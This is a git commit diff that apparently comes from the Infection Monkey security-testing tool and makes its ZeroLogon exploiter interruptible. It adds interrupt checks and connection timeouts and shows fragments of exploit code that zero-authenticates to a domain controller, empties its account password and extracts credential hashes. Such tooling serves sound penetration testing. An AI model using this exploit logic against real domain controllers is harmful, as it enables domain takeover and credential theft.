Agent: Make ZeroLogon interruptibale
This commit is contained in:
parent
56bdcbeddd
commit
1e28599398
|
@ -15,6 +15,7 @@ import impacket
|
||||||
from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport
|
from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport
|
||||||
from impacket.dcerpc.v5.dtypes import NULL
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
|
|
||||||
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||||
from infection_monkey.credential_collectors import LMHash, NTHash, Username
|
from infection_monkey.credential_collectors import LMHash, NTHash, Username
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.tools.wmi_tools import WmiTools
|
from infection_monkey.exploit.tools.wmi_tools import WmiTools
|
||||||
|
@ -26,6 +27,7 @@ from infection_monkey.i_puppet import ExploiterResultData
|
||||||
from infection_monkey.i_puppet.credential_collection import Credentials
|
from infection_monkey.i_puppet.credential_collection import Credentials
|
||||||
from infection_monkey.telemetry.credentials_telem import CredentialsTelem
|
from infection_monkey.telemetry.credentials_telem import CredentialsTelem
|
||||||
from infection_monkey.utils.capture_output import StdoutCapture
|
from infection_monkey.utils.capture_output import StdoutCapture
|
||||||
|
from infection_monkey.utils.threading import interruptible_iter
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -51,9 +53,12 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
can_exploit, rpc_con = is_exploitable(self)
|
can_exploit, rpc_con = is_exploitable(self)
|
||||||
if can_exploit:
|
if can_exploit:
|
||||||
self.exploit_result.exploitation_success = True
|
|
||||||
logger.info("Target vulnerable, changing account password to empty string.")
|
logger.info("Target vulnerable, changing account password to empty string.")
|
||||||
|
|
||||||
|
if self._is_interrupted():
|
||||||
|
self._set_interrupted()
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
# Start exploiting attempts.
|
# Start exploiting attempts.
|
||||||
logger.debug("Attempting exploit.")
|
logger.debug("Attempting exploit.")
|
||||||
_exploited = self._send_exploit_rpc_login_requests(rpc_con)
|
_exploited = self._send_exploit_rpc_login_requests(rpc_con)
|
||||||
|
@ -73,11 +78,12 @@ class ZerologonExploiter(HostExploiter):
|
||||||
self.exploit_result.exploitation_success = _exploited
|
self.exploit_result.exploitation_success = _exploited
|
||||||
if self.restore_password():
|
if self.restore_password():
|
||||||
self.exploit_info["password_restored"] = True
|
self.exploit_info["password_restored"] = True
|
||||||
self.store_extracted_creds_for_exploitation()
|
|
||||||
logger.info("System exploited and password restored successfully.")
|
logger.info("System exploited and password restored successfully.")
|
||||||
else:
|
else:
|
||||||
self.exploit_info["password_restored"] = False
|
self.exploit_info["password_restored"] = False
|
||||||
logger.info("System exploited but couldn't restore password!")
|
logger.info("System exploited but couldn't restore password!")
|
||||||
|
|
||||||
|
self.store_extracted_creds_for_exploitation()
|
||||||
else:
|
else:
|
||||||
logger.info("System was not exploited.")
|
logger.info("System was not exploited.")
|
||||||
|
|
||||||
|
@ -87,12 +93,13 @@ class ZerologonExploiter(HostExploiter):
|
||||||
def connect_to_dc(dc_ip) -> object:
|
def connect_to_dc(dc_ip) -> object:
|
||||||
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
||||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||||
|
rpc_con.set_connect_timeout(LONG_REQUEST_TIMEOUT)
|
||||||
rpc_con.connect()
|
rpc_con.connect()
|
||||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||||
return rpc_con
|
return rpc_con
|
||||||
|
|
||||||
def _send_exploit_rpc_login_requests(self, rpc_con) -> bool:
|
def _send_exploit_rpc_login_requests(self, rpc_con) -> bool:
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt):
|
||||||
exploit_attempt_result = self.try_exploit_attempt(rpc_con)
|
exploit_attempt_result = self.try_exploit_attempt(rpc_con)
|
||||||
|
|
||||||
is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result)
|
is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result)
|
||||||
|
@ -164,6 +171,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
# Use above extracted credentials to get original DC password's hashes.
|
# Use above extracted credentials to get original DC password's hashes.
|
||||||
logger.debug("Getting original DC password's NT hash.")
|
logger.debug("Getting original DC password's NT hash.")
|
||||||
original_pwd_nthash = None
|
original_pwd_nthash = None
|
||||||
|
# TODO: start timer
|
||||||
for user_details in user_creds:
|
for user_details in user_creds:
|
||||||
username = user_details[0]
|
username = user_details[0]
|
||||||
user_pwd_hashes = [
|
user_pwd_hashes = [
|
||||||
|
@ -366,7 +374,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
logger.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
logger.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
||||||
|
|
||||||
def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool:
|
def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool:
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt):
|
||||||
restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash)
|
restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash)
|
||||||
|
|
||||||
is_restored = self.assess_restoration_attempt_result(restoration_attempt_result)
|
is_restored = self.assess_restoration_attempt_result(restoration_attempt_result)
|
||||||
|
|
|
@ -70,10 +70,7 @@ class RemoteShell(cmd.Cmd):
|
||||||
self.__noOutput = False
|
self.__noOutput = False
|
||||||
self.__secrets_dir = secrets_dir
|
self.__secrets_dir = secrets_dir
|
||||||
|
|
||||||
# We don't wanna deal with timeouts from now on.
|
|
||||||
# TODO are we sure we don't need timeout anymore?
|
|
||||||
if self.__transferClient is not None:
|
if self.__transferClient is not None:
|
||||||
self.__transferClient.setTimeout(100000)
|
|
||||||
self.do_cd("\\")
|
self.do_cd("\\")
|
||||||
else:
|
else:
|
||||||
self.__noOutput = True
|
self.__noOutput = True
|
||||||
|
|
|
@ -6,6 +6,7 @@ from impacket.dcerpc.v5 import nrpc, rpcrt
|
||||||
|
|
||||||
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
|
||||||
from common.utils.exceptions import DomainControllerNameFetchError
|
from common.utils.exceptions import DomainControllerNameFetchError
|
||||||
|
from infection_monkey.utils.threading import interruptible_iter
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -43,7 +44,9 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v
|
||||||
return False, None
|
return False, None
|
||||||
|
|
||||||
# Try authenticating.
|
# Try authenticating.
|
||||||
for _ in range(0, zerologon_exploiter_object.MAX_ATTEMPTS):
|
for _ in interruptible_iter(
|
||||||
|
range(0, zerologon_exploiter_object.MAX_ATTEMPTS), zerologon_exploiter_object.interrupt
|
||||||
|
):
|
||||||
try:
|
try:
|
||||||
rpc_con_auth_result = _try_zero_authenticate(zerologon_exploiter_object, rpc_con)
|
rpc_con_auth_result = _try_zero_authenticate(zerologon_exploiter_object, rpc_con)
|
||||||
if rpc_con_auth_result is not None:
|
if rpc_con_auth_result is not None:
|
||||||
|
|
Loading…
Reference in New Issue